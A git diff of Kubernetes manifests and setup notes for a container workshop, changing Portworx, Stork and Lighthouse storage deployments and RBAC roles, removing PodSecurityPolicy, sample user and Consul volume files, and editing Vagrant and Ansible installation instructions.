- apiGroups: ["extensions"]
|
||||
resources: ["podsecuritypolicies"]
|
||||
resourceNames: ["privileged"]
|
||||
verbs: ["use"]
|
||||
- apiGroups: ["portworx.io"]
|
||||
resources: ["volumeplacementstrategies"]
|
||||
verbs: ["get", "list"]
|
||||
---
|
||||
kind: ClusterRoleBinding
|
||||
apiVersion: rbac.authorization.k8s.io/v1
|
||||
metadata:
|
||||
name: node-role-binding
|
||||
subjects:
|
||||
- kind: ServiceAccount
|
||||
name: px-account
|
||||
namespace: kube-system
|
||||
roleRef:
|
||||
kind: ClusterRole
|
||||
name: node-get-put-list-role
|
||||
apiGroup: rbac.authorization.k8s.io
|
||||
---
|
||||
apiVersion: v1
|
||||
kind: Namespace
|
||||
metadata:
|
||||
name: portworx
|
||||
---
|
||||
kind: Role
|
||||
apiVersion: rbac.authorization.k8s.io/v1
|
||||
metadata:
|
||||
name: px-role
|
||||
namespace: portworx
|
||||
rules:
|
||||
- apiGroups: [""]
|
||||
resources: ["secrets"]
|
||||
verbs: ["get", "list", "create", "update", "patch"]
|
||||
---
|
||||
kind: RoleBinding
|
||||
apiVersion: rbac.authorization.k8s.io/v1
|
||||
metadata:
|
||||
name: px-role-binding
|
||||
namespace: portworx
|
||||
subjects:
|
||||
- kind: ServiceAccount
|
||||
name: px-account
|
||||
namespace: kube-system
|
||||
roleRef:
|
||||
kind: Role
|
||||
name: px-role
|
||||
apiGroup: rbac.authorization.k8s.io
|
||||
---
|
||||
apiVersion: extensions/v1beta1
|
||||
kind: DaemonSet
|
||||
metadata:
|
||||
name: portworx
|
||||
namespace: kube-system
|
||||
annotations:
|
||||
portworx.com/install-source: "https://install.portworx.com/?kbver=1.15.2&b=true&s=/dev/loop4&c=px-workshop&stork=true&lh=true&st=k8s&mc=false"
|
||||
spec:
|
||||
minReadySeconds: 0
|
||||
updateStrategy:
|
||||
type: RollingUpdate
|
||||
rollingUpdate:
|
||||
maxUnavailable: 1
|
||||
template:
|
||||
metadata:
|
||||
labels:
|
||||
name: portworx
|
||||
spec:
|
||||
affinity:
|
||||
nodeAffinity:
|
||||
requiredDuringSchedulingIgnoredDuringExecution:
|
||||
nodeSelectorTerms:
|
||||
- matchExpressions:
|
||||
- key: px/enabled
|
||||
operator: NotIn
|
||||
values:
|
||||
- "false"
|
||||
- key: node-role.kubernetes.io/master
|
||||
operator: DoesNotExist
|
||||
hostNetwork: true
|
||||
hostPID: false
|
||||
initContainers:
|
||||
- name: checkloop
|
||||
image: alpine
|
||||
command: [ "sh", "-c" ]
|
||||
args:
|
||||
- |
|
||||
if ! grep -q loop4 /proc/partitions; then
|
||||
echo 'Could not find "loop4" in /proc/partitions. Please create it first.'
|
||||
exit 1
|
||||
fi
|
||||
containers:
|
||||
- name: portworx
|
||||
image: portworx/oci-monitor:2.1.3
|
||||
imagePullPolicy: Always
|
||||
args:
|
||||
["-c", "px-workshop", "-s", "/dev/loop4", "-secret_type", "k8s", "-b",
|
||||
"-x", "kubernetes"]
|
||||
env:
|
||||
- name: "AUTO_NODE_RECOVERY_TIMEOUT_IN_SECS"
|
||||
value: "1500"
|
||||
- name: "PX_TEMPLATE_VERSION"
|
||||
value: "v4"
|
||||
|
||||
livenessProbe:
|
||||
periodSeconds: 30
|
||||
initialDelaySeconds: 840 # allow image pull in slow networks
|
||||
httpGet:
|
||||
host: 127.0.0.1
|
||||
path: /status
|
||||
port: 9001
|
||||
readinessProbe:
|
||||
periodSeconds: 10
|
||||
httpGet:
|
||||
host: 127.0.0.1
|
||||
path: /health
|
||||
port: 9015
|
||||
terminationMessagePath: "/tmp/px-termination-log"
|
||||
securityContext:
|
||||
privileged: true
|
||||
volumeMounts:
|
||||
- name: diagsdump
|
||||
mountPath: /var/cores
|
||||
- name: dockersock
|
||||
mountPath: /var/run/docker.sock
|
||||
- name: containerdsock
|
||||
mountPath: /run/containerd
|
||||
- name: criosock
|
||||
mountPath: /var/run/crio
|
||||
- name: crioconf
|
||||
mountPath: /etc/crictl.yaml
|
||||
- name: etcpwx
|
||||
mountPath: /etc/pwx
|
||||
- name: optpwx
|
||||
mountPath: /opt/pwx
|
||||
- name: procmount
|
||||
mountPath: /host_proc
|
||||
- name: sysdmount
|
||||
mountPath: /etc/systemd/system
|
||||
- name: journalmount1
|
||||
mountPath: /var/run/log
|
||||
readOnly: true
|
||||
- name: journalmount2
|
||||
mountPath: /var/log
|
||||
readOnly: true
|
||||
- name: dbusmount
|
||||
mountPath: /var/run/dbus
|
||||
restartPolicy: Always
|
||||
serviceAccountName: px-account
|
||||
volumes:
|
||||
- name: diagsdump
|
||||
hostPath:
|
||||
path: /var/cores
|
||||
- name: dockersock
|
||||
hostPath:
|
||||
path: /var/run/docker.sock
|
||||
- name: containerdsock
|
||||
hostPath:
|
||||
path: /run/containerd
|
||||
- name: criosock
|
||||
hostPath:
|
||||
path: /var/run/crio
|
||||
- name: crioconf
|
||||
hostPath:
|
||||
path: /etc/crictl.yaml
|
||||
type: FileOrCreate
|
||||
- name: etcpwx
|
||||
hostPath:
|
||||
path: /etc/pwx
|
||||
- name: optpwx
|
||||
hostPath:
|
||||
path: /opt/pwx
|
||||
- name: procmount
|
||||
hostPath:
|
||||
path: /proc
|
||||
- name: sysdmount
|
||||
hostPath:
|
||||
path: /etc/systemd/system
|
||||
- name: journalmount1
|
||||
hostPath:
|
||||
path: /var/run/log
|
||||
- name: journalmount2
|
||||
hostPath:
|
||||
path: /var/log
|
||||
- name: dbusmount
|
||||
hostPath:
|
||||
path: /var/run/dbus
|
||||
---
|
||||
kind: Service
|
||||
apiVersion: v1
|
||||
metadata:
|
||||
name: portworx-api
|
||||
namespace: kube-system
|
||||
labels:
|
||||
name: portworx-api
|
||||
spec:
|
||||
selector:
|
||||
name: portworx-api
|
||||
type: NodePort
|
||||
ports:
|
||||
- name: px-api
|
||||
protocol: TCP
|
||||
port: 9001
|
||||
targetPort: 9001
|
||||
- name: px-sdk
|
||||
protocol: TCP
|
||||
port: 9020
|
||||
targetPort: 9020
|
||||
- name: px-rest-gateway
|
||||
protocol: TCP
|
||||
port: 9021
|
||||
targetPort: 9021
|
||||
---
|
||||
apiVersion: extensions/v1beta1
|
||||
kind: DaemonSet
|
||||
metadata:
|
||||
name: portworx-api
|
||||
namespace: kube-system
|
||||
spec:
|
||||
minReadySeconds: 0
|
||||
updateStrategy:
|
||||
type: RollingUpdate
|
||||
rollingUpdate:
|
||||
maxUnavailable: 100%
|
||||
template:
|
||||
metadata:
|
||||
labels:
|
||||
name: portworx-api
|
||||
spec:
|
||||
affinity:
|
||||
nodeAffinity:
|
||||
requiredDuringSchedulingIgnoredDuringExecution:
|
||||
nodeSelectorTerms:
|
||||
- matchExpressions:
|
||||
- key: px/enabled
|
||||
operator: NotIn
|
||||
values:
|
||||
- "false"
|
||||
- key: node-role.kubernetes.io/master
|
||||
operator: DoesNotExist
|
||||
hostNetwork: true
|
||||
hostPID: false
|
||||
containers:
|
||||
- name: portworx-api
|
||||
image: k8s.gcr.io/pause:3.1
|
||||
imagePullPolicy: Always
|
||||
readinessProbe:
|
||||
periodSeconds: 10
|
||||
httpGet:
|
||||
host: 127.0.0.1
|
||||
path: /status
|
||||
port: 9001
|
||||
restartPolicy: Always
|
||||
serviceAccountName: px-account
|
||||
|
||||
|
||||
---
|
||||
# SOURCE: https://install.portworx.com/?kbver=1.11.2&b=true&s=/dev/loop4&c=px-workshop&stork=true&lh=true
|
||||
apiVersion: v1
|
||||
kind: ConfigMap
|
||||
metadata:
|
||||
@@ -347,7 +11,7 @@ data:
|
||||
"apiVersion": "v1",
|
||||
"extenders": [
|
||||
{
|
||||
"urlPrefix": "http://stork-service.kube-system:8099",
|
||||
"urlPrefix": "http://stork-service.kube-system.svc:8099",
|
||||
"apiVersion": "v1beta1",
|
||||
"filterVerb": "filter",
|
||||
"prioritizeVerb": "prioritize",
|
||||
@@ -370,8 +34,8 @@ metadata:
|
||||
name: stork-role
|
||||
rules:
|
||||
- apiGroups: [""]
|
||||
resources: ["pods", "pods/exec"]
|
||||
verbs: ["get", "list", "delete", "create", "watch"]
|
||||
resources: ["pods"]
|
||||
verbs: ["get", "list", "delete"]
|
||||
- apiGroups: [""]
|
||||
resources: ["persistentvolumes"]
|
||||
verbs: ["get", "list", "watch", "create", "delete"]
|
||||
@@ -384,14 +48,14 @@ rules:
|
||||
- apiGroups: [""]
|
||||
resources: ["events"]
|
||||
verbs: ["list", "watch", "create", "update", "patch"]
|
||||
- apiGroups: ["stork.libopenstorage.org"]
|
||||
resources: ["*"]
|
||||
verbs: ["get", "list", "watch", "update", "patch", "create", "delete"]
|
||||
- apiGroups: ["apiextensions.k8s.io"]
|
||||
resources: ["customresourcedefinitions"]
|
||||
verbs: ["create", "get"]
|
||||
verbs: ["create", "list", "watch", "delete"]
|
||||
- apiGroups: ["volumesnapshot.external-storage.k8s.io"]
|
||||
resources: ["volumesnapshots", "volumesnapshotdatas"]
|
||||
resources: ["volumesnapshots"]
|
||||
verbs: ["get", "list", "watch", "create", "update", "patch", "delete"]
|
||||
- apiGroups: ["volumesnapshot.external-storage.k8s.io"]
|
||||
resources: ["volumesnapshotdatas"]
|
||||
verbs: ["get", "list", "watch", "create", "update", "patch", "delete"]
|
||||
- apiGroups: [""]
|
||||
resources: ["configmaps"]
|
||||
@@ -408,9 +72,6 @@ rules:
|
||||
- apiGroups: ["*"]
|
||||
resources: ["statefulsets", "statefulsets/extensions"]
|
||||
verbs: ["list", "get", "watch", "patch", "update", "initialize"]
|
||||
- apiGroups: ["*"]
|
||||
resources: ["*"]
|
||||
verbs: ["list", "get"]
|
||||
---
|
||||
kind: ClusterRoleBinding
|
||||
apiVersion: rbac.authorization.k8s.io/v1
|
||||
@@ -470,10 +131,7 @@ spec:
|
||||
- --leader-elect=true
|
||||
- --health-monitor-interval=120
|
||||
imagePullPolicy: Always
|
||||
image: openstorage/stork:2.2.4
|
||||
env:
|
||||
- name: "PX_SERVICE_NAME"
|
||||
value: "portworx-api"
|
||||
image: openstorage/stork:1.1.3
|
||||
resources:
|
||||
requests:
|
||||
cpu: '0.1'
|
||||
@@ -510,13 +168,16 @@ metadata:
|
||||
rules:
|
||||
- apiGroups: [""]
|
||||
resources: ["endpoints"]
|
||||
verbs: ["get", "create", "update"]
|
||||
verbs: ["get", "update"]
|
||||
- apiGroups: [""]
|
||||
resources: ["configmaps"]
|
||||
verbs: ["get"]
|
||||
- apiGroups: [""]
|
||||
resources: ["events"]
|
||||
verbs: ["create", "patch", "update"]
|
||||
- apiGroups: [""]
|
||||
resources: ["endpoints"]
|
||||
verbs: ["create"]
|
||||
- apiGroups: [""]
|
||||
resourceNames: ["kube-scheduler"]
|
||||
resources: ["endpoints"]
|
||||
@@ -536,7 +197,7 @@ rules:
|
||||
- apiGroups: [""]
|
||||
resources: ["replicationcontrollers", "services"]
|
||||
verbs: ["get", "list", "watch"]
|
||||
- apiGroups: ["apps", "extensions"]
|
||||
- apiGroups: ["app", "extensions"]
|
||||
resources: ["replicasets"]
|
||||
verbs: ["get", "list", "watch"]
|
||||
- apiGroups: ["apps"]
|
||||
@@ -592,7 +253,7 @@ spec:
|
||||
- --policy-configmap=stork-config
|
||||
- --policy-configmap-namespace=kube-system
|
||||
- --lock-object-name=stork-scheduler
|
||||
image: gcr.io/google_containers/kube-scheduler-amd64:v1.15.2
|
||||
image: gcr.io/google_containers/kube-scheduler-amd64:v1.11.2
|
||||
livenessProbe:
|
||||
httpGet:
|
||||
path: /healthz
|
||||
@@ -619,61 +280,229 @@ spec:
|
||||
hostPID: false
|
||||
serviceAccountName: stork-scheduler-account
|
||||
---
|
||||
kind: Service
|
||||
apiVersion: v1
|
||||
metadata:
|
||||
name: portworx-service
|
||||
namespace: kube-system
|
||||
labels:
|
||||
name: portworx
|
||||
spec:
|
||||
selector:
|
||||
name: portworx
|
||||
ports:
|
||||
- name: px-api
|
||||
protocol: TCP
|
||||
port: 9001
|
||||
targetPort: 9001
|
||||
---
|
||||
apiVersion: v1
|
||||
kind: ServiceAccount
|
||||
metadata:
|
||||
name: px-account
|
||||
namespace: kube-system
|
||||
---
|
||||
kind: ClusterRole
|
||||
apiVersion: rbac.authorization.k8s.io/v1
|
||||
metadata:
|
||||
name: node-get-put-list-role
|
||||
rules:
|
||||
- apiGroups: [""]
|
||||
resources: ["nodes"]
|
||||
verbs: ["watch", "get", "update", "list"]
|
||||
- apiGroups: [""]
|
||||
resources: ["pods"]
|
||||
verbs: ["delete", "get", "list"]
|
||||
- apiGroups: [""]
|
||||
resources: ["persistentvolumeclaims", "persistentvolumes"]
|
||||
verbs: ["get", "list"]
|
||||
- apiGroups: [""]
|
||||
resources: ["configmaps"]
|
||||
verbs: ["get", "list", "update", "create"]
|
||||
- apiGroups: ["extensions"]
|
||||
resources: ["podsecuritypolicies"]
|
||||
resourceNames: ["privileged"]
|
||||
verbs: ["use"]
|
||||
---
|
||||
kind: ClusterRoleBinding
|
||||
apiVersion: rbac.authorization.k8s.io/v1
|
||||
metadata:
|
||||
name: node-role-binding
|
||||
subjects:
|
||||
- kind: ServiceAccount
|
||||
name: px-account
|
||||
namespace: kube-system
|
||||
roleRef:
|
||||
kind: ClusterRole
|
||||
name: node-get-put-list-role
|
||||
apiGroup: rbac.authorization.k8s.io
|
||||
---
|
||||
apiVersion: v1
|
||||
kind: Namespace
|
||||
metadata:
|
||||
name: portworx
|
||||
---
|
||||
kind: Role
|
||||
apiVersion: rbac.authorization.k8s.io/v1
|
||||
metadata:
|
||||
name: px-role
|
||||
namespace: portworx
|
||||
rules:
|
||||
- apiGroups: [""]
|
||||
resources: ["secrets"]
|
||||
verbs: ["get", "list", "create", "update", "patch"]
|
||||
---
|
||||
kind: RoleBinding
|
||||
apiVersion: rbac.authorization.k8s.io/v1
|
||||
metadata:
|
||||
name: px-role-binding
|
||||
namespace: portworx
|
||||
subjects:
|
||||
- kind: ServiceAccount
|
||||
name: px-account
|
||||
namespace: kube-system
|
||||
roleRef:
|
||||
kind: Role
|
||||
name: px-role
|
||||
apiGroup: rbac.authorization.k8s.io
|
||||
---
|
||||
apiVersion: extensions/v1beta1
|
||||
kind: DaemonSet
|
||||
metadata:
|
||||
name: portworx
|
||||
namespace: kube-system
|
||||
annotations:
|
||||
portworx.com/install-source: "https://install.portworx.com/?kbver=1.11.2&b=true&s=/dev/loop4&c=px-workshop&stork=true&lh=true"
|
||||
spec:
|
||||
minReadySeconds: 0
|
||||
updateStrategy:
|
||||
type: RollingUpdate
|
||||
rollingUpdate:
|
||||
maxUnavailable: 1
|
||||
template:
|
||||
metadata:
|
||||
labels:
|
||||
name: portworx
|
||||
spec:
|
||||
affinity:
|
||||
nodeAffinity:
|
||||
requiredDuringSchedulingIgnoredDuringExecution:
|
||||
nodeSelectorTerms:
|
||||
- matchExpressions:
|
||||
- key: px/enabled
|
||||
operator: NotIn
|
||||
values:
|
||||
- "false"
|
||||
- key: node-role.kubernetes.io/master
|
||||
operator: DoesNotExist
|
||||
hostNetwork: true
|
||||
hostPID: false
|
||||
containers:
|
||||
- name: portworx
|
||||
image: portworx/oci-monitor:1.4.2.2
|
||||
imagePullPolicy: Always
|
||||
args:
|
||||
["-c", "px-workshop", "-s", "/dev/loop4", "-b",
|
||||
"-x", "kubernetes"]
|
||||
env:
|
||||
- name: "PX_TEMPLATE_VERSION"
|
||||
value: "v4"
|
||||
|
||||
livenessProbe:
|
||||
periodSeconds: 30
|
||||
initialDelaySeconds: 840 # allow image pull in slow networks
|
||||
httpGet:
|
||||
host: 127.0.0.1
|
||||
path: /status
|
||||
port: 9001
|
||||
readinessProbe:
|
||||
periodSeconds: 10
|
||||
httpGet:
|
||||
host: 127.0.0.1
|
||||
path: /health
|
||||
port: 9015
|
||||
terminationMessagePath: "/tmp/px-termination-log"
|
||||
securityContext:
|
||||
privileged: true
|
||||
volumeMounts:
|
||||
- name: dockersock
|
||||
mountPath: /var/run/docker.sock
|
||||
- name: etcpwx
|
||||
mountPath: /etc/pwx
|
||||
- name: optpwx
|
||||
mountPath: /opt/pwx
|
||||
- name: proc1nsmount
|
||||
mountPath: /host_proc/1/ns
|
||||
- name: sysdmount
|
||||
mountPath: /etc/systemd/system
|
||||
- name: diagsdump
|
||||
mountPath: /var/cores
|
||||
- name: journalmount1
|
||||
mountPath: /var/run/log
|
||||
readOnly: true
|
||||
- name: journalmount2
|
||||
mountPath: /var/log
|
||||
readOnly: true
|
||||
- name: dbusmount
|
||||
mountPath: /var/run/dbus
|
||||
restartPolicy: Always
|
||||
serviceAccountName: px-account
|
||||
volumes:
|
||||
- name: dockersock
|
||||
hostPath:
|
||||
path: /var/run/docker.sock
|
||||
- name: etcpwx
|
||||
hostPath:
|
||||
path: /etc/pwx
|
||||
- name: optpwx
|
||||
hostPath:
|
||||
path: /opt/pwx
|
||||
- name: proc1nsmount
|
||||
hostPath:
|
||||
path: /proc/1/ns
|
||||
- name: sysdmount
|
||||
hostPath:
|
||||
path: /etc/systemd/system
|
||||
- name: diagsdump
|
||||
hostPath:
|
||||
path: /var/cores
|
||||
- name: journalmount1
|
||||
hostPath:
|
||||
path: /var/run/log
|
||||
- name: journalmount2
|
||||
hostPath:
|
||||
path: /var/log
|
||||
- name: dbusmount
|
||||
hostPath:
|
||||
path: /var/run/dbus
|
||||
---
|
||||
apiVersion: v1
|
||||
kind: ServiceAccount
|
||||
metadata:
|
||||
name: px-lh-account
|
||||
namespace: kube-system
|
||||
---
|
||||
kind: ClusterRole
|
||||
kind: Role
|
||||
apiVersion: rbac.authorization.k8s.io/v1
|
||||
metadata:
|
||||
name: px-lh-role
|
||||
namespace: kube-system
|
||||
name: px-lh-role
|
||||
namespace: kube-system
|
||||
rules:
|
||||
- apiGroups: [""]
|
||||
resources: ["pods"]
|
||||
verbs: ["list", "get"]
|
||||
- apiGroups:
|
||||
- extensions
|
||||
- apps
|
||||
resources:
|
||||
- deployments
|
||||
verbs: ["get", "list"]
|
||||
- apiGroups: [""]
|
||||
resources: ["secrets"]
|
||||
verbs: ["get", "create", "update"]
|
||||
- apiGroups: [""]
|
||||
resources: ["configmaps"]
|
||||
verbs: ["get", "create", "update"]
|
||||
- apiGroups: [""]
|
||||
resources: ["nodes"]
|
||||
verbs: ["get", "list", "watch"]
|
||||
- apiGroups: [""]
|
||||
resources: ["services"]
|
||||
verbs: ["create", "get", "list", "watch"]
|
||||
- apiGroups: ["stork.libopenstorage.org"]
|
||||
resources: ["clusterpairs","migrations","groupvolumesnapshots"]
|
||||
verbs: ["get", "list", "create", "update", "delete"]
|
||||
- apiGroups: ["monitoring.coreos.com"]
|
||||
resources:
|
||||
- alertmanagers
|
||||
- prometheuses
|
||||
- prometheuses/finalizers
|
||||
- servicemonitors
|
||||
verbs: ["*"]
|
||||
- apiGroups: [""]
|
||||
resources: ["configmaps"]
|
||||
verbs: ["get", "create", "update"]
|
||||
---
|
||||
kind: ClusterRoleBinding
|
||||
kind: RoleBinding
|
||||
apiVersion: rbac.authorization.k8s.io/v1
|
||||
metadata:
|
||||
name: px-lh-role-binding
|
||||
namespace: kube-system
|
||||
subjects:
|
||||
- kind: ServiceAccount
|
||||
name: px-lh-account
|
||||
namespace: kube-system
|
||||
- kind: ServiceAccount
|
||||
name: px-lh-account
|
||||
namespace: kube-system
|
||||
roleRef:
|
||||
kind: ClusterRole
|
||||
kind: Role
|
||||
name: px-lh-role
|
||||
apiGroup: rbac.authorization.k8s.io
|
||||
---
|
||||
@@ -689,12 +518,14 @@ spec:
|
||||
ports:
|
||||
- name: http
|
||||
port: 80
|
||||
nodePort: 32678
|
||||
- name: https
|
||||
port: 443
|
||||
nodePort: 32679
|
||||
selector:
|
||||
tier: px-web-console
|
||||
---
|
||||
apiVersion: apps/v1beta1
|
||||
apiVersion: apps/v1beta2
|
||||
kind: Deployment
|
||||
metadata:
|
||||
name: px-lighthouse
|
||||
@@ -718,7 +549,7 @@ spec:
|
||||
spec:
|
||||
initContainers:
|
||||
- name: config-init
|
||||
image: portworx/lh-config-sync:0.4
|
||||
image: portworx/lh-config-sync:0.2
|
||||
imagePullPolicy: Always
|
||||
args:
|
||||
- "init"
|
||||
@@ -727,9 +558,8 @@ spec:
|
||||
mountPath: /config/lh
|
||||
containers:
|
||||
- name: px-lighthouse
|
||||
image: portworx/px-lighthouse:2.0.4
|
||||
image: portworx/px-lighthouse:1.5.0
|
||||
imagePullPolicy: Always
|
||||
args: [ "-kubernetes", "true" ]
|
||||
ports:
|
||||
- containerPort: 80
|
||||
- containerPort: 443
|
||||
@@ -737,16 +567,13 @@ spec:
|
||||
- name: config
|
||||
mountPath: /config/lh
|
||||
- name: config-sync
|
||||
image: portworx/lh-config-sync:0.4
|
||||
image: portworx/lh-config-sync:0.2
|
||||
imagePullPolicy: Always
|
||||
args:
|
||||
- "sync"
|
||||
volumeMounts:
|
||||
- name: config
|
||||
mountPath: /config/lh
|
||||
- name: stork-connector
|
||||
image: portworx/lh-stork-connector:0.2
|
||||
imagePullPolicy: Always
|
||||
serviceAccountName: px-lh-account
|
||||
volumes:
|
||||
- name: config
|
||||
|
||||
@@ -15,7 +15,7 @@ spec:
|
||||
schedulerName: stork
|
||||
containers:
|
||||
- name: postgres
|
||||
image: postgres:11
|
||||
image: postgres:10.5
|
||||
volumeMounts:
|
||||
- mountPath: /var/lib/postgresql/data
|
||||
name: postgres
|
||||
|
||||
@@ -1,39 +0,0 @@
|
||||
---
|
||||
apiVersion: policy/v1beta1
|
||||
kind: PodSecurityPolicy
|
||||
metadata:
|
||||
name: privileged
|
||||
annotations:
|
||||
seccomp.security.alpha.kubernetes.io/allowedProfileNames: '*'
|
||||
spec:
|
||||
privileged: true
|
||||
allowPrivilegeEscalation: true
|
||||
allowedCapabilities:
|
||||
- '*'
|
||||
volumes:
|
||||
- '*'
|
||||
hostNetwork: true
|
||||
hostPorts:
|
||||
- min: 0
|
||||
max: 65535
|
||||
hostIPC: true
|
||||
hostPID: true
|
||||
runAsUser:
|
||||
rule: 'RunAsAny'
|
||||
seLinux:
|
||||
rule: 'RunAsAny'
|
||||
supplementalGroups:
|
||||
rule: 'RunAsAny'
|
||||
fsGroup:
|
||||
rule: 'RunAsAny'
|
||||
---
|
||||
apiVersion: rbac.authorization.k8s.io/v1
|
||||
kind: ClusterRole
|
||||
metadata:
|
||||
name: psp:privileged
|
||||
rules:
|
||||
- apiGroups: ['policy']
|
||||
resources: ['podsecuritypolicies']
|
||||
verbs: ['use']
|
||||
resourceNames: ['privileged']
|
||||
|
||||
@@ -1,38 +0,0 @@
|
||||
---
|
||||
apiVersion: extensions/v1beta1
|
||||
kind: PodSecurityPolicy
|
||||
metadata:
|
||||
annotations:
|
||||
apparmor.security.beta.kubernetes.io/allowedProfileNames: runtime/default
|
||||
apparmor.security.beta.kubernetes.io/defaultProfileName: runtime/default
|
||||
seccomp.security.alpha.kubernetes.io/allowedProfileNames: docker/default
|
||||
seccomp.security.alpha.kubernetes.io/defaultProfileName: docker/default
|
||||
name: restricted
|
||||
spec:
|
||||
allowPrivilegeEscalation: false
|
||||
fsGroup:
|
||||
rule: RunAsAny
|
||||
runAsUser:
|
||||
rule: RunAsAny
|
||||
seLinux:
|
||||
rule: RunAsAny
|
||||
supplementalGroups:
|
||||
rule: RunAsAny
|
||||
volumes:
|
||||
- configMap
|
||||
- emptyDir
|
||||
- projected
|
||||
- secret
|
||||
- downwardAPI
|
||||
- persistentVolumeClaim
|
||||
---
|
||||
apiVersion: rbac.authorization.k8s.io/v1
|
||||
kind: ClusterRole
|
||||
metadata:
|
||||
name: psp:restricted
|
||||
rules:
|
||||
- apiGroups: ['policy']
|
||||
resources: ['podsecuritypolicies']
|
||||
verbs: ['use']
|
||||
resourceNames: ['restricted']
|
||||
|
||||
@@ -6,16 +6,13 @@ metadata:
|
||||
namespace: kube-system
|
||||
---
|
||||
kind: DaemonSet
|
||||
apiVersion: apps/v1
|
||||
apiVersion: extensions/v1beta1
|
||||
metadata:
|
||||
name: traefik-ingress-controller
|
||||
namespace: kube-system
|
||||
labels:
|
||||
k8s-app: traefik-ingress-lb
|
||||
spec:
|
||||
selector:
|
||||
matchLabels:
|
||||
k8s-app: traefik-ingress-lb
|
||||
template:
|
||||
metadata:
|
||||
labels:
|
||||
@@ -29,7 +26,7 @@ spec:
|
||||
serviceAccountName: traefik-ingress-controller
|
||||
terminationGracePeriodSeconds: 60
|
||||
containers:
|
||||
- image: traefik:1.7
|
||||
- image: traefik
|
||||
name: traefik-ingress-lb
|
||||
ports:
|
||||
- name: http
|
||||
|
||||
@@ -1,33 +0,0 @@
|
||||
---
|
||||
apiVersion: v1
|
||||
kind: ServiceAccount
|
||||
metadata:
|
||||
name: jean.doe
|
||||
namespace: users
|
||||
---
|
||||
apiVersion: rbac.authorization.k8s.io/v1
|
||||
kind: ClusterRole
|
||||
metadata:
|
||||
name: users:jean.doe
|
||||
rules:
|
||||
- apiGroups: [ certificates.k8s.io ]
|
||||
resources: [ certificatesigningrequests ]
|
||||
verbs: [ create ]
|
||||
- apiGroups: [ certificates.k8s.io ]
|
||||
resourceNames: [ users:jean.doe ]
|
||||
resources: [ certificatesigningrequests ]
|
||||
verbs: [ get, create, delete, watch ]
|
||||
---
|
||||
apiVersion: rbac.authorization.k8s.io/v1
|
||||
kind: ClusterRoleBinding
|
||||
metadata:
|
||||
name: users:jean.doe
|
||||
roleRef:
|
||||
apiGroup: rbac.authorization.k8s.io
|
||||
kind: ClusterRole
|
||||
name: users:jean.doe
|
||||
subjects:
|
||||
- kind: ServiceAccount
|
||||
name: jean.doe
|
||||
namespace: users
|
||||
|
||||
@@ -1,70 +0,0 @@
|
||||
---
|
||||
apiVersion: v1
|
||||
kind: PersistentVolume
|
||||
metadata:
|
||||
name: consul-node2
|
||||
annotations:
|
||||
node: node2
|
||||
spec:
|
||||
capacity:
|
||||
storage: 10Gi
|
||||
accessModes:
|
||||
- ReadWriteOnce
|
||||
persistentVolumeReclaimPolicy: Delete
|
||||
local:
|
||||
path: /mnt/consul
|
||||
nodeAffinity:
|
||||
required:
|
||||
nodeSelectorTerms:
|
||||
- matchExpressions:
|
||||
- key: kubernetes.io/hostname
|
||||
operator: In
|
||||
values:
|
||||
- node2
|
||||
---
|
||||
apiVersion: v1
|
||||
kind: PersistentVolume
|
||||
metadata:
|
||||
name: consul-node3
|
||||
annotations:
|
||||
node: node3
|
||||
spec:
|
||||
capacity:
|
||||
storage: 10Gi
|
||||
accessModes:
|
||||
- ReadWriteOnce
|
||||
persistentVolumeReclaimPolicy: Delete
|
||||
local:
|
||||
path: /mnt/consul
|
||||
nodeAffinity:
|
||||
required:
|
||||
nodeSelectorTerms:
|
||||
- matchExpressions:
|
||||
- key: kubernetes.io/hostname
|
||||
operator: In
|
||||
values:
|
||||
- node3
|
||||
---
|
||||
apiVersion: v1
|
||||
kind: PersistentVolume
|
||||
metadata:
|
||||
name: consul-node4
|
||||
annotations:
|
||||
node: node4
|
||||
spec:
|
||||
capacity:
|
||||
storage: 10Gi
|
||||
accessModes:
|
||||
- ReadWriteOnce
|
||||
persistentVolumeReclaimPolicy: Delete
|
||||
local:
|
||||
path: /mnt/consul
|
||||
nodeAffinity:
|
||||
required:
|
||||
nodeSelectorTerms:
|
||||
- matchExpressions:
|
||||
- key: kubernetes.io/hostname
|
||||
operator: In
|
||||
values:
|
||||
- node4
|
||||
|
||||
@@ -7,8 +7,8 @@ workshop.
|
||||
|
||||
|
||||
## 1. Prerequisites
|
||||
Virtualbox, Vagrant and Ansible
|
||||
|
||||
Virtualbox, Vagrant and Ansible
|
||||
|
||||
- Virtualbox: https://www.virtualbox.org/wiki/Downloads
|
||||
|
||||
@@ -25,7 +25,7 @@ Virtualbox, Vagrant and Ansible
|
||||
|
||||
$ git clone --recursive https://github.com/ansible/ansible.git
|
||||
$ cd ansible
|
||||
$ git checkout stable-{{ getStableVersionFromAnsibleProject }}
|
||||
$ git checkout stable-2.0.0.1
|
||||
$ git submodule update
|
||||
|
||||
- source the setup script to make Ansible available on this terminal session:
|
||||
@@ -38,7 +38,6 @@ Virtualbox, Vagrant and Ansible
|
||||
|
||||
|
||||
## 2. Preparing the environment
|
||||
Change into directory that has your Vagrantfile
|
||||
|
||||
Run the following commands:
|
||||
|
||||
@@ -67,14 +66,6 @@ will reflect inside the instance.
|
||||
|
||||
- Depending on the Vagrant version, `sudo apt-get install bsdtar` may be needed
|
||||
|
||||
- If you get an error like "no Vagrant file found" or you have a file but "cannot open base box" when running `vagrant up`,
|
||||
chances are good you not in the correct directory.
|
||||
Make sure you are in sub directory named "prepare-local". It has all the config files required by ansible, vagrant and virtualbox
|
||||
|
||||
- If you are using Python 3.7, running the ansible-playbook provisioning, see an error like "SyntaxError: invalid syntax" and it mentions
|
||||
the word "async", you need to upgrade your Ansible version to 2.6 or higher to resolve the keyword conflict.
|
||||
https://github.com/ansible/ansible/issues/42105
|
||||
|
||||
- If you get strange Ansible errors about dependencies, try to check your pip
|
||||
version with `pip --version`. The current version is 8.1.1. If your pip is
|
||||
older than this, upgrade it with `sudo pip install --upgrade pip`, restart
|
||||
|
||||
@@ -10,21 +10,15 @@ These tools can help you to create VMs on:
|
||||
|
||||
- [Docker](https://docs.docker.com/engine/installation/)
|
||||
- [Docker Compose](https://docs.docker.com/compose/install/)
|
||||
- [Parallel SSH](https://code.google.com/archive/p/parallel-ssh/) (on a Mac: `brew install pssh`)
|
||||
- [Parallel SSH](https://code.google.com/archive/p/parallel-ssh/) (on a Mac: `brew install pssh`) - the configuration scripts require this
|
||||
|
||||
Depending on the infrastructure that you want to use, you also need to install
|
||||
the Azure CLI, the AWS CLI, or terraform (for OpenStack deployment).
|
||||
|
||||
And if you want to generate printable cards:
|
||||
|
||||
